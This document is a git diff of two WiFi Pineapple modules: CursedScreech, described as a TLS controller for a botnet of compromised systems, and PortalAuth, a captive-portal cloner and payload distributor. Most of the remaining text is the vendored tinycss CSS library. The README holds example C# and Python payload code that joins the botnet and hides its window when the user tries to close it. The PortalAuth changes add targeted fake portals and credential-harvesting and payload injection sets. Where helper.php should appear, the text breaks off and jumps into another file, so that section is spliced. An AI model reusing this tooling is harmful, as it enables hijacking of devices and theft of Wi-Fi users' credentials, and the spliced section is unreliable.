.../scripts/injects/Payloader/helper.php | 45 + .../scripts/libs/tinycss.egg-info/PKG-INFO | 17 +- .../scripts/libs/tinycss.egg-info/SOURCES.txt | 6 +- .../libs/tinycss.egg-info/requires.txt | 6 + .../includes/scripts/libs/tinycss/.coveragerc | 10 + .../includes/scripts/libs/tinycss/.gitignore | 12 + .../includes/scripts/libs/tinycss/.travis.yml | 16 + .../includes/scripts/libs/tinycss/CHANGES | 53 + .../includes/scripts/libs/tinycss/LICENSE | 31 + .../includes/scripts/libs/tinycss/MANIFEST.in | 3 + .../includes/scripts/libs/tinycss/PKG-INFO | 47 + .../includes/scripts/libs/tinycss/README.rst | 26 + .../libs/tinycss/docs/_static/custom.css | 24 + .../libs/tinycss/docs/_templates/layout.html | 4 + .../scripts/libs/tinycss/docs/changelog.rst | 1 + .../scripts/libs/tinycss/docs/conf.py | 252 + .../scripts/libs/tinycss/docs/css3.rst | 116 + .../scripts/libs/tinycss/docs/extending.rst | 97 + .../scripts/libs/tinycss/docs/hacking.rst | 117 + .../scripts/libs/tinycss/docs/index.rst | 50 + .../scripts/libs/tinycss/docs/parsing.rst | 97 + .../includes/scripts/libs/tinycss/setup.cfg | 23 + .../includes/scripts/libs/tinycss/setup.py | 127 + .../includes/scripts/libs/tinycss/speedups.c | 5375 ----------------- .../libs/tinycss/tests/test_tokenizer.py | 310 - .../libs/tinycss/{ => tinycss}/__init__.py | 11 +- .../libs/tinycss/{ => tinycss}/color3.py | 5 +- .../libs/tinycss/{ => tinycss}/css21.py | 70 +- .../libs/tinycss/{ => tinycss}/decoding.py | 160 +- .../scripts/libs/tinycss/tinycss/fonts3.py | 200 + .../libs/tinycss/{ => tinycss}/page3.py | 29 +- .../libs/tinycss/{ => tinycss}/parsing.py | 7 +- .../libs/tinycss/{ => tinycss}/speedups.pyx | 2 +- .../tinycss/{ => tinycss}/tests/__init__.py | 10 +- .../libs/tinycss/{ => tinycss}/tests/speed.py | 13 +- .../tinycss/{ => tinycss}/tests/test_api.py | 4 +- .../{ => tinycss}/tests/test_color3.py | 53 +- .../tinycss/{ => tinycss}/tests/test_css21.py | 15 +- .../{ => tinycss}/tests/test_decoding.py | 7 +- .../libs/tinycss/tinycss/tests/test_fonts3.py | 144 + .../tinycss/{ => tinycss}/tests/test_page3.py | 29 +- .../tinycss/tinycss/tests/test_tokenizer.py | 302 + .../libs/tinycss/{ => tinycss}/token_data.py | 23 +- .../libs/tinycss/{ => tinycss}/tokenizer.py | 37 +- .../scripts/libs/tinycss/tinycss/version.py | 1 + .../includes/scripts/libs/tinycss/version.py | 1 - PortalAuth/includes/scripts/portalclone.py | 3 +- .../includes/scripts/skeleton/MyPortal.php | 42 +- .../includes/scripts/skeleton/helper.php | 45 + PortalAuth/js/module.js | 5 +- PortalAuth/module.html | 5 + PortalAuth/module.info | 2 +- 76 files changed, 2585 insertions(+), 5974 deletions(-) create mode 100644 CursedScreech/README.md create mode 100644 CursedScreech/includes/changelog/Version 1.5 create mode 100644 PortalAuth/README.md create mode 100644 PortalAuth/includes/changelog/Version 1.7 create mode 100644 PortalAuth/includes/scripts/injects/Blank/backups/helper.php create mode 100644 PortalAuth/includes/scripts/injects/Blank/helper.php create mode 100644 PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/helper.php create mode 100644 PortalAuth/includes/scripts/injects/Free_WiFi_Week/helper.php create mode 100644 PortalAuth/includes/scripts/injects/Harvester/backups/helper.php create mode 100644 PortalAuth/includes/scripts/injects/Harvester/helper.php create mode 100644 PortalAuth/includes/scripts/injects/Payloader/backups/helper.php create mode 100644 PortalAuth/includes/scripts/injects/Payloader/helper.php create mode 100644 PortalAuth/includes/scripts/libs/tinycss.egg-info/requires.txt create mode 100644 PortalAuth/includes/scripts/libs/tinycss/.coveragerc create mode 100644 PortalAuth/includes/scripts/libs/tinycss/.gitignore create mode 100644 PortalAuth/includes/scripts/libs/tinycss/.travis.yml create mode 100644 PortalAuth/includes/scripts/libs/tinycss/CHANGES create mode 100644 PortalAuth/includes/scripts/libs/tinycss/LICENSE create mode 100644 PortalAuth/includes/scripts/libs/tinycss/MANIFEST.in create mode 100644 PortalAuth/includes/scripts/libs/tinycss/PKG-INFO create mode 100644 PortalAuth/includes/scripts/libs/tinycss/README.rst create mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/_static/custom.css create mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/_templates/layout.html create mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/changelog.rst create mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/conf.py create mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/css3.rst create mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/extending.rst create mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/hacking.rst create mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/index.rst create mode 100644 PortalAuth/includes/scripts/libs/tinycss/docs/parsing.rst create mode 100644 PortalAuth/includes/scripts/libs/tinycss/setup.cfg create mode 100644 PortalAuth/includes/scripts/libs/tinycss/setup.py delete mode 100755 PortalAuth/includes/scripts/libs/tinycss/speedups.c delete mode 100755 PortalAuth/includes/scripts/libs/tinycss/tests/test_tokenizer.py rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/__init__.py (85%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/color3.py (99%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/css21.py (94%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/decoding.py (61%) mode change 100755 => 100644 create mode 100644 PortalAuth/includes/scripts/libs/tinycss/tinycss/fonts3.py rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/page3.py (86%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/parsing.py (97%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/speedups.pyx (99%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/tests/__init__.py (70%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/tests/speed.py (96%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/tests/test_api.py (97%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/tests/test_color3.py (80%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/tests/test_css21.py (97%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/tests/test_decoding.py (96%) mode change 100755 => 100644 create mode 100644 PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_fonts3.py rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/tests/test_page3.py (81%) mode change 100755 => 100644 create mode 100644 PortalAuth/includes/scripts/libs/tinycss/tinycss/tests/test_tokenizer.py rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/token_data.py (96%) mode change 100755 => 100644 rename PortalAuth/includes/scripts/libs/tinycss/{ => tinycss}/tokenizer.py (90%) mode change 100755 => 100644 create mode 100644 PortalAuth/includes/scripts/libs/tinycss/tinycss/version.py delete mode 100755 PortalAuth/includes/scripts/libs/tinycss/version.py create mode 100644 PortalAuth/includes/scripts/skeleton/helper.php diff --git a/CursedScreech/README.md b/CursedScreech/README.md new file mode 100644 index 0000000..8693f36 --- /dev/null +++ b/CursedScreech/README.md @@ -0,0 +1,66 @@ +# CursedScreech + +A mass communicator module for the WiFi Pineapple that utilizes TLS to control a botnet of compromised systems. Included is a C# API and Python API (with documentation) to write payloads that can communicate with CursedScreech and PortalAuth. + + +# APIs +I recommend using C# over Python to build your payload. Both APIs are really simple to use but using C# will allow you to create a self-contained executable along with required keys/certificates. Writing your payload in Python will require you to freeze your code and it can be difficult, if not impossible, to include all required files in a single executable. If you can't make a single executable you will have to find a way to move the whole dist directory to the target machine. + +### C# API Example +``` +using System; +using System.Drawing; +using System.Windows.Forms; +using PineappleModules; + +namespace Payload +{ + public partial class Form1 : Form { + + PA_Authorization pauth = new PA_Authorization(); + + public Form1() { + InitializeComponent(); + + CursedScreech cs = new CursedScreech(); + cs.startMulticaster("231.253.78.29", 19578); + cs.setRemoteCertificateSerial("EF-BE-AD-DE"); + cs.setRemoteCertificateHash("1234567890ABCDEF"); + cs.startSecureServerThread("Payload.Payload.pfx", "#$My$ecuR3P4ssw*rd&"); + } + private void Form1_FormClosing(object sender, FormClosingEventArgs e) { + e.Cancel = true; + this.Hide(); + } + private void accessKeyButton_Click(object sender, EventArgs e) { + + // Request an access key from the Pineapple + string key = pauth.getAccessKey(); + + // Check if a key was returned + string msg; + if (key.Length > 0) { + msg = "Your access key is unique to you so DO NOT give it away!\n\nAccess Key: " + key; + } + else { + msg = "Failed to retrieve an access key from the server. Please try again later."; + } + + // Display message to the user + MessageBox.Show(msg); + } + } +} + +``` + + +### Python API Example +``` +from PineappleModules import CursedScreech + +cs = CursedScreech("Network Client") +cs.startMulticaster("231.253.78.29", 19578) +cs.setRemoteCertificateSerial("ABCDEF1234567890") +cs.startSecureServerThread("payload.pem", "payload.cer", "cursedscreech.cer") +``` diff --git a/CursedScreech/api/module.php b/CursedScreech/api/module.php index 17c711b..686ae8c 100755 --- a/CursedScreech/api/module.php +++ b/CursedScreech/api/module.php @@ -165,6 +165,14 @@ class CursedScreech extends Module { return false; } } + + if (!file_exists(__TARGETLOGS__)) { + if (!mkdir(__TARGETLOGS__, 0755, true)) { + $this->logError("Failed init", "Failed to initialize because the targetlogs directory at '" . __TARGETLOGS__ . "' could not be created."); + $this->respond(false); + return false; + } + } } /* ============================ */ diff --git a/CursedScreech/includes/changelog/Version 1.5 b/CursedScreech/includes/changelog/Version 1.5 new file mode 100644 index 0000000..22bf05d --- /dev/null +++ b/CursedScreech/includes/changelog/Version 1.5 @@ -0,0 +1,4 @@ +July 15, 2018 +

    + - Added check for targetlogs directory at startup
    + \ No newline at end of file diff --git a/CursedScreech/module.info b/CursedScreech/module.info index 8dcf583..693eda7 100755 --- a/CursedScreech/module.info +++ b/CursedScreech/module.info @@ -6,5 +6,5 @@ "tetra" ], "title": "CursedScreech", - "version": "1.4" + "version": "1.5" } diff --git a/PortalAuth/README.md b/PortalAuth/README.md new file mode 100644 index 0000000..0c64461 --- /dev/null +++ b/PortalAuth/README.md @@ -0,0 +1,2 @@ +# PortalAuth +Captive portal cloner and payload distributor for the WiFi Pineapple NANO and TETRA diff --git a/PortalAuth/api/module.php b/PortalAuth/api/module.php index 440f5d6..b851a9a 100755 --- a/PortalAuth/api/module.php +++ b/PortalAuth/api/module.php @@ -11,11 +11,11 @@ define('__LOGS__', __INCLUDES__ . "logs/"); define('__HELPFILES__', __INCLUDES__ . "help/"); define('__CHANGELOGS__', __INCLUDES__ . "changelog/"); define('__SCRIPTS__', __INCLUDES__ . "scripts/"); - + // Injection set defines define('__INJECTS__', __SCRIPTS__ . "injects/"); define('__SKELETON__', __SCRIPTS__. "skeleton/"); - + // NetClient defines define('__DOWNLOAD__', "/www/download/"); define('__WINDL__', __DOWNLOAD__ . "windows/"); @@ -25,6 +25,7 @@ define('__IOSDL__', __DOWNLOAD__ . "ios/"); // PASS defines define('__PASSDIR__', __INCLUDES__ . "pass/"); +define('__KEYDIR__', __PASSDIR__ . "keys/"); define('__PASSSRV__', __PASSDIR__ . "pass.py"); define('__PASSBAK__', __PASSDIR__ . "Backups/pass.py"); define('__PASSLOG__', __PASSDIR__ . "pass.log"); @@ -240,7 +241,14 @@ class PortalAuth extends Module private function init() { if (!file_exists(__LOGS__)) { if (!mkdir(__LOGS__, 0755, true)) { - $this->respond(false, "Failed to create logs directory"); + $this->respond(false, "Failed to create logs directory at " . __LOGS__); + return false; + } + } + if (!file_exists(__KEYDIR__)) { + if (!mkdir(__KEYDIR__, 0755, true)) { + $this->logError("Failed init", "Failed to initialize because the keys directory at '" . __KEYDIR__ . "' could not be created."); + $this->respond(false); return false; } } @@ -284,7 +292,13 @@ class PortalAuth extends Module //======================// private function checkIsOnline() { - $this->respond(checkdnsrr("wifipineapple.com", "A")); + $connected = @fsockopen("www.wifipineapple.com", 443); + if ($connected) { + fclose($connected); + $this->respond(true); + return true; + } + $this->respond(false); } private function getCapturedCreds() { if (file_exists(__AUTHLOG__)) { diff --git a/PortalAuth/includes/changelog/Version 1.7 b/PortalAuth/includes/changelog/Version 1.7 new file mode 100644 index 0000000..e91b273 --- /dev/null +++ b/PortalAuth/includes/changelog/Version 1.7 @@ -0,0 +1,6 @@ +July 15, 2018 +

    + - Added check for keys directory at startup
    + - Updated TinyCSS lib to v0.4
    + - Updated format of cloned portals to function with the latest Evil Portal
    + - Added Basic and Targeted portal types for cloned portals
    \ No newline at end of file diff --git a/PortalAuth/includes/help/cloner.help b/PortalAuth/includes/help/cloner.help index 6c78539..77f355c 100755 --- a/PortalAuth/includes/help/cloner.help +++ b/PortalAuth/includes/help/cloner.help @@ -25,3 +25,4 @@ Select these checkboxes to modify the cloned portal.

    Inject JS: Injects the JavaScript from the selected Injection Set into the portal.
    Inject CSS: Injects the CSS from the selected Injection Set into the portal.
    Inject HTML: Injects the HTML from the selected Injection Set into the portal.
    +Targeted Portal: Makes the cloned portal a targeted portal in the Evil Portal module.
    \ No newline at end of file diff --git a/PortalAuth/includes/scripts/PortalCloner.py b/PortalAuth/includes/scripts/PortalCloner.py index 3cadc21..4442ea4 100755 --- a/PortalAuth/includes/scripts/PortalCloner.py +++ b/PortalAuth/includes/scripts/PortalCloner.py @@ -21,7 +21,7 @@ from bs4 import BeautifulSoup class PortalCloner: - def __init__(self, portalName, directory, injectSet): + def __init__(self, portalName, directory, injectSet, targeted): self.portalName = portalName self.portalDirectory = directory + self.portalName + "/" self.resourceDirectory = self.portalDirectory + "resources/" @@ -33,6 +33,7 @@ class PortalCloner: self.session = requests.Session() self.basePath = '/pineapple/modules/PortalAuth/' self.uas = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"} + self.targeted = targeted def find_meta_refresh(self, r): @@ -302,10 +303,16 @@ class PortalCloner: # Copy the MyPortal PHP script to portalDirectory shutil.copy(self.basePath + 'includes/scripts/injects/' + self.injectionSet + '/MyPortal.php', self.portalDirectory) + + # Copy the helper PHP script to portalDirectory + shutil.copy(self.basePath + 'includes/scripts/injects/' + self.injectionSet + '/helper.php', self.portalDirectory) # Create the required .ep file with open(self.portalDirectory + self.portalName + ".ep", 'w+') as epFile: - epFile.write("DO NOT DELETE THIS") + if self.targeted: + epFile.write("{\"name\":\"" + self.portalName + "\",\"type\":\"targeted\",\"targeted_rules\":{\"default\":\"default.php\",\"rule_order\":[\"mac\",\"ssid\",\"hostname\",\"useragent\"],\"rules\":{\"mac\":{\"exact\":[],\"regex\":[]},\"ssid\":{\"exact\":[],\"regex\":[]},\"hostname\":{\"exact\":[],\"regex\":[]},\"useragent\":{\"exact\":[],\"regex\":[]}}}}") + else: + epFile.write("{\"name\":\"" + self.portalName + "\",\"type\":\"basic\"}") # Copy jquery to the portal directory shutil.copy(self.basePath + 'includes/scripts/jquery-2.2.1.min.js', self.portalDirectory) diff --git a/PortalAuth/includes/scripts/injects/Blank/MyPortal.php b/PortalAuth/includes/scripts/injects/Blank/MyPortal.php index 06bfa4f..a891616 100755 --- a/PortalAuth/includes/scripts/injects/Blank/MyPortal.php +++ b/PortalAuth/includes/scripts/injects/Blank/MyPortal.php @@ -11,10 +11,10 @@ class MyPortal extends Portal // Check for other form data here } - public function showSuccess() + public function onSuccess() { // Calls default success message - parent::showSuccess(); + parent::onSuccess(); } public function showError() diff --git a/PortalAuth/includes/scripts/injects/Blank/backups/MyPortal.php b/PortalAuth/includes/scripts/injects/Blank/backups/MyPortal.php index 06bfa4f..a891616 100755 --- a/PortalAuth/includes/scripts/injects/Blank/backups/MyPortal.php +++ b/PortalAuth/includes/scripts/injects/Blank/backups/MyPortal.php @@ -11,10 +11,10 @@ class MyPortal extends Portal // Check for other form data here } - public function showSuccess() + public function onSuccess() { // Calls default success message - parent::showSuccess(); + parent::onSuccess(); } public function showError() diff --git a/PortalAuth/includes/scripts/injects/Blank/backups/helper.php b/PortalAuth/includes/scripts/injects/Blank/backups/helper.php new file mode 100644 index 0000000..046684c --- /dev/null +++ b/PortalAuth/includes/scripts/injects/Blank/backups/helper.php @@ -0,0 +1,45 @@ +`_ project. +* Simplify the API for :func:`~tinycss.make_parser`. + + +Version 0.1.1 +------------- + +Released on 2012-04-06. + +Bug fixes: + +* Error handling on exepected end of stylesheet in an at-rule head +* Fix the installation on ASCII-only locales + + +Version 0.1 +----------- + +Released on 2012-04-05. + +First release. Parser support for CSS 2.1, Seloctors 3, Color 3 and +Paged Media 3. diff --git a/PortalAuth/includes/scripts/libs/tinycss/LICENSE b/PortalAuth/includes/scripts/libs/tinycss/LICENSE new file mode 100644 index 0000000..52d60c5 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/LICENSE @@ -0,0 +1,31 @@ +Copyright (c) 2012 by Simon Sapin. + +Some rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the following + disclaimer in the documentation and/or other materials provided + with the distribution. + + * The names of the contributors may not be used to endorse or + promote products derived from this software without specific + prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/PortalAuth/includes/scripts/libs/tinycss/MANIFEST.in b/PortalAuth/includes/scripts/libs/tinycss/MANIFEST.in new file mode 100644 index 0000000..4847068 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/MANIFEST.in @@ -0,0 +1,3 @@ +include README.rst CHANGES LICENSE tox.ini .coveragerc tinycss/speedups.c +recursive-include docs * +prune docs/_build diff --git a/PortalAuth/includes/scripts/libs/tinycss/PKG-INFO b/PortalAuth/includes/scripts/libs/tinycss/PKG-INFO new file mode 100644 index 0000000..710dc9c --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/PKG-INFO @@ -0,0 +1,47 @@ +Metadata-Version: 1.1 +Name: tinycss +Version: 0.4 +Summary: tinycss is a complete yet simple CSS parser for Python. +Home-page: http://tinycss.readthedocs.io/ +Author: Simon Sapin +Author-email: simon.sapin@exyr.org +License: BSD +Description: tinycss: CSS parser for Python + ============================== + + *tinycss* is a complete yet simple CSS parser for Python. It supports the full + syntax and error handling for CSS 2.1 as well as some CSS 3 modules: + + * CSS Color 3 + * CSS Fonts 3 + * CSS Paged Media 3 + + It is designed to be easy to extend for new CSS modules and syntax, + and integrates well with cssselect_ for Selectors 3 support. + + Quick facts: + + * Free software: BSD licensed + * Compatible with Python 2.7 and 3.x + * Latest documentation `on python.org`_ + * Source, issues and pull requests `on Github`_ + * Releases `on PyPI`_ + * Install with ``pip install tinycss`` + + .. _cssselect: http://packages.python.org/cssselect/ + .. _on python.org: http://packages.python.org/tinycss/ + .. _on Github: https://github.com/SimonSapin/tinycss/ + .. _on PyPI: http://pypi.python.org/pypi/tinycss + +Platform: UNKNOWN +Classifier: Development Status :: 4 - Beta +Classifier: Intended Audience :: Developers +Classifier: License :: OSI Approved :: BSD License +Classifier: Programming Language :: Python :: 2 +Classifier: Programming Language :: Python :: 2.7 +Classifier: Programming Language :: Python :: 3 +Classifier: Programming Language :: Python :: 3.3 +Classifier: Programming Language :: Python :: 3.4 +Classifier: Programming Language :: Python :: 3.5 +Classifier: Programming Language :: Python :: Implementation :: CPython +Classifier: Programming Language :: Python :: Implementation :: PyPy diff --git a/PortalAuth/includes/scripts/libs/tinycss/README.rst b/PortalAuth/includes/scripts/libs/tinycss/README.rst new file mode 100644 index 0000000..9f1879b --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/README.rst @@ -0,0 +1,26 @@ +tinycss: CSS parser for Python +============================== + +*tinycss* is a complete yet simple CSS parser for Python. It supports the full +syntax and error handling for CSS 2.1 as well as some CSS 3 modules: + +* CSS Color 3 +* CSS Fonts 3 +* CSS Paged Media 3 + +It is designed to be easy to extend for new CSS modules and syntax, +and integrates well with cssselect_ for Selectors 3 support. + +Quick facts: + +* Free software: BSD licensed +* Compatible with Python 2.7 and 3.x +* Latest documentation `on python.org`_ +* Source, issues and pull requests `on Github`_ +* Releases `on PyPI`_ +* Install with ``pip install tinycss`` + +.. _cssselect: http://packages.python.org/cssselect/ +.. _on python.org: http://packages.python.org/tinycss/ +.. _on Github: https://github.com/SimonSapin/tinycss/ +.. _on PyPI: http://pypi.python.org/pypi/tinycss diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/_static/custom.css b/PortalAuth/includes/scripts/libs/tinycss/docs/_static/custom.css new file mode 100644 index 0000000..ea5c271 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/docs/_static/custom.css @@ -0,0 +1,24 @@ +div.body { + text-align: left; +} +div.document p, div.document ul { + margin-top: 0; + margin-bottom: 1em; +} +div.document ul ul { + margin-top: 0; + margin-bottom: .5em; +} +.field-name { + padding-right: .5em; +} +table.field-list p, table.field-list ul { + margin-bottom: .5em; +} +table { + border-collapse: collapse; + margin-bottom: 1em; +} +table.docutils td, table.docutils th { + padding: .2em .5em; +} diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/_templates/layout.html b/PortalAuth/includes/scripts/libs/tinycss/docs/_templates/layout.html new file mode 100644 index 0000000..3ac9078 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/docs/_templates/layout.html @@ -0,0 +1,4 @@ +{% extends "!layout.html" %} +{% block extrahead %} + +{% endblock %} diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/changelog.rst b/PortalAuth/includes/scripts/libs/tinycss/docs/changelog.rst new file mode 100644 index 0000000..d6c5f48 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/docs/changelog.rst @@ -0,0 +1 @@ +.. include:: ../CHANGES diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/conf.py b/PortalAuth/includes/scripts/libs/tinycss/docs/conf.py new file mode 100644 index 0000000..fa7da0a --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/docs/conf.py @@ -0,0 +1,252 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# +# tinycss documentation build configuration file, created by +# sphinx-quickstart on Tue Mar 27 14:20:34 2012. +# +# This file is execfile()d with the current directory set to its containing dir. +# +# Note that not all possible configuration values are present in this +# autogenerated file. +# +# All configuration values have a default; values that are commented out +# serve to show the default. + +import sys, os + +# If extensions (or modules to document with autodoc) are in another directory, +# add these directories to sys.path here. If the directory is relative to the +# documentation root, use os.path.abspath to make it absolute, like shown here. +#sys.path.insert(0, os.path.abspath('.')) + +# -- General configuration ----------------------------------------------------- + +# If your documentation needs a minimal Sphinx version, state it here. +#needs_sphinx = '1.0' + +# Add any Sphinx extension module names here, as strings. They can be extensions +# coming with Sphinx (named 'sphinx.ext.*') or your custom ones. +extensions = ['sphinx.ext.autodoc', 'sphinx.ext.intersphinx', + 'sphinx.ext.viewcode', 'sphinx.ext.doctest'] + +# Add any paths that contain templates here, relative to this directory. +templates_path = ['_templates'] + +# The suffix of source filenames. +source_suffix = '.rst' + +# The encoding of source files. +#source_encoding = 'utf-8-sig' + +# The master toctree document. +master_doc = 'index' + +# General information about the project. +project = 'tinycss' +copyright = '2012, Simon Sapin' + +# The version info for the project you're documenting, acts as replacement for +# |version| and |release|, also used in various other places throughout the +# built documents. +# +# The full version, including alpha/beta/rc tags. +#release = '0.1dev' +import re +with open(os.path.join(os.path.dirname(__file__), '..', + 'tinycss', 'version.py')) as init_py: + release = re.search("VERSION = '([^']+)'", init_py.read()).group(1) +# The short X.Y version. +version = release.rstrip('dev') + +# The language for content autogenerated by Sphinx. Refer to documentation +# for a list of supported languages. +#language = None + +# There are two options for replacing |today|: either, you set today to some +# non-false value, then it is used: +#today = '' +# Else, today_fmt is used as the format for a strftime call. +#today_fmt = '%B %d, %Y' + +# List of patterns, relative to source directory, that match files and +# directories to ignore when looking for source files. +exclude_patterns = ['_build'] + +# The reST default role (used for this markup: `text`) to use for all documents. +#default_role = None + +# If true, '()' will be appended to :func: etc. cross-reference text. +#add_function_parentheses = True + +# If true, the current module name will be prepended to all description +# unit titles (such as .. function::). +#add_module_names = True + +# If true, sectionauthor and moduleauthor directives will be shown in the +# output. They are ignored by default. +#show_authors = False + +# The name of the Pygments (syntax highlighting) style to use. +pygments_style = 'sphinx' + +# A list of ignored prefixes for module index sorting. +#modindex_common_prefix = [] + + +# -- Options for HTML output --------------------------------------------------- + +# The theme to use for HTML and HTML Help pages. See the documentation for +# a list of builtin themes. +#html_theme = 'agogo' + +# Theme options are theme-specific and customize the look and feel of a theme +# further. For a list of options available for each theme, see the +# documentation. +#html_theme_options = {} + +# Add any paths that contain custom themes here, relative to this directory. +#html_theme_path = [] + +# The name for this set of Sphinx documents. If None, it defaults to +# " v documentation". +#html_title = None + +# A shorter title for the navigation bar. Default is the same as html_title. +#html_short_title = None + +# The name of an image file (relative to this directory) to place at the top +# of the sidebar. +#html_logo = None + +# The name of an image file (within the static path) to use as favicon of the +# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 +# pixels large. +#html_favicon = None + +# Add any paths that contain custom static files (such as style sheets) here, +# relative to this directory. They are copied after the builtin static files, +# so a file named "default.css" will overwrite the builtin "default.css". +html_static_path = ['_static'] + +# If not '', a 'Last updated on:' timestamp is inserted at every page bottom, +# using the given strftime format. +#html_last_updated_fmt = '%b %d, %Y' + +# If true, SmartyPants will be used to convert quotes and dashes to +# typographically correct entities. +#html_use_smartypants = True + +# Custom sidebar templates, maps document names to template names. +#html_sidebars = {} + +# Additional templates that should be rendered to pages, maps page names to +# template names. +#html_additional_pages = {} + +# If false, no module index is generated. +#html_domain_indices = True + +# If false, no index is generated. +#html_use_index = True + +# If true, the index is split into individual pages for each letter. +#html_split_index = False + +# If true, links to the reST sources are added to the pages. +#html_show_sourcelink = True + +# If true, "Created using Sphinx" is shown in the HTML footer. Default is True. +#html_show_sphinx = True + +# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. +#html_show_copyright = True + +# If true, an OpenSearch description file will be output, and all pages will +# contain a tag referring to it. The value of this option must be the +# base URL from which the finished HTML is served. +#html_use_opensearch = '' + +# This is the file name suffix for HTML files (e.g. ".xhtml"). +#html_file_suffix = None + +# Output file base name for HTML help builder. +htmlhelp_basename = 'tinycssdoc' + + +# -- Options for LaTeX output -------------------------------------------------- + +latex_elements = { +# The paper size ('letterpaper' or 'a4paper'). +#'papersize': 'letterpaper', + +# The font size ('10pt', '11pt' or '12pt'). +#'pointsize': '10pt', + +# Additional stuff for the LaTeX preamble. +#'preamble': '', +} + +# Grouping the document tree into LaTeX files. List of tuples +# (source start file, target name, title, author, documentclass [howto/manual]). +latex_documents = [ + ('index', 'tinycss.tex', 'tinycss Documentation', + 'Simon Sapin', 'manual'), +] + +# The name of an image file (relative to this directory) to place at the top of +# the title page. +#latex_logo = None + +# For "manual" documents, if this is true, then toplevel headings are parts, +# not chapters. +#latex_use_parts = False + +# If true, show page references after internal links. +#latex_show_pagerefs = False + +# If true, show URL addresses after external links. +#latex_show_urls = False + +# Documents to append as an appendix to all manuals. +#latex_appendices = [] + +# If false, no module index is generated. +#latex_domain_indices = True + + +# -- Options for manual page output -------------------------------------------- + +# One entry per manual page. List of tuples +# (source start file, name, description, authors, manual section). +man_pages = [ + ('index', 'tinycss', 'tinycss Documentation', + ['Simon Sapin'], 1) +] + +# If true, show URL addresses after external links. +#man_show_urls = False + + +# -- Options for Texinfo output ------------------------------------------------ + +# Grouping the document tree into Texinfo files. List of tuples +# (source start file, target name, title, author, +# dir menu entry, description, category) +texinfo_documents = [ + ('index', 'tinycss', 'tinycss Documentation', + 'Simon Sapin', 'tinycss', 'One line description of project.', + 'Miscellaneous'), +] + +# Documents to append as an appendix to all manuals. +#texinfo_appendices = [] + +# If false, no module index is generated. +#texinfo_domain_indices = True + +# How to display URL addresses: 'footnote', 'no', or 'inline'. +#texinfo_show_urls = 'footnote' + + +# Example configuration for intersphinx: refer to the Python standard library. +intersphinx_mapping = {'http://docs.python.org/': None} diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/css3.rst b/PortalAuth/includes/scripts/libs/tinycss/docs/css3.rst new file mode 100644 index 0000000..91ad4c2 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/docs/css3.rst @@ 